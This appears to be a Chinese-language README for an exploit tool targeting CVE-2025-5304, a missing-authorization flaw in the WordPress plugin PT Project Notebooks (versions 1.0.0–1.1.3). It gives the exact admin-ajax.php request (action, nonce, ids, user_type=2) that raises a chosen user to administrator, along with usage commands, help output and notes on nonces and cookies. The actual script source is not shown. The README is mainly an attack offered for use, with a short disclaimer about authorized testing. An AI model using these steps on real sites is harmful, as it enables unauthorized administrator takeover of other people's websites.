PT Project Notebooks 1.0.0 - 1.1.3 - 缺少授权导致未授权权限提升
PT Project Notebooks 版本 1.0.0–1.1.3 的 PoC 与漏洞利用辅助工具:
wpnb_pto_new_users_add()函数缺少授权,允许未认证攻击者通过admin-ajax.php将指定用户的权限提升至 管理员。
WordPress 的 PT Project Notebooks 插件因函数 wpnb_pto_new_users_add() 在 1.0.0 至 1.1.3 版本中缺少授权而存在 权限提升 漏洞。这使得未认证攻击者能够将指定用户 ID 的权限提升至 管理员 级别。
wp-content/plugins/project-notebooks/readme.txt 并提取 Stable tag 以确认目标版本 ≤ 1.1.3。custom.nonce 和 custom.ajax_url(通过 wp_localize_script)。admin-ajax.php 发送 POST 请求,包含参数 action=wpnb_pto_new_users_add、提取的 nonce、ids=<用户ID> 和 user_type=2,将所有 管理员 权限复制到目标用户。wordpress_logged_in_* cookie 才能使 wp_verify_nonce() 成功。python3 CVE-2025-5304.py -u "http://TARGET/wordpress" -id 28
python3 CVE-2025-5304.py -u "http://TARGET/wordpress" -id 28 -c "wordpress_logged_in_...=..."
CVE-2025-5304.py -help
usage: t.py [-h] -u URL -id ID [-c COOKIE] [--skip-version]
CVE-2025-5304 (Nxploited Edition)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL (e.g. http://127.0.0.1/wordpress)
-id, --id ID User ID to escalate (e.g. 28)
-c, --cookie COOKIE Optional Cookie header value for session-bound nonces
--skip-version Skip readme.txt version check
-u / --url — 目标网站基础 URL;工具会规范化并读取插件 readme 及首页。-id / --id — 要提升权限的 WordPress 数字用户 ID(订阅者即可)。-c / --cookie — 完整的 Cookie 头值(例如 wordpress_logged_in_*=...),如果 nonce 与会话绑定则需要提供。--skip-version — 跳过 readme.txt 的 Stable tag 检查(当 readme 被隐藏或自定义时有用)。关于 nonce 和 cookie 的说明
custom.nonce,则为公开状态,无需 cookie。-c 传递相同的 wordpress_logged_in_* cookie。custom.ajax_url(协议/主机/端口/路径)。本仓库、PoC 及代码仅供教育和授权的安全测试使用。您需全权负责确保已获得明确许可才能测试目标。作者不对因使用本项目而产生的滥用或损害承担任何责任。
作者:Khaled Alenazi (Nxploited)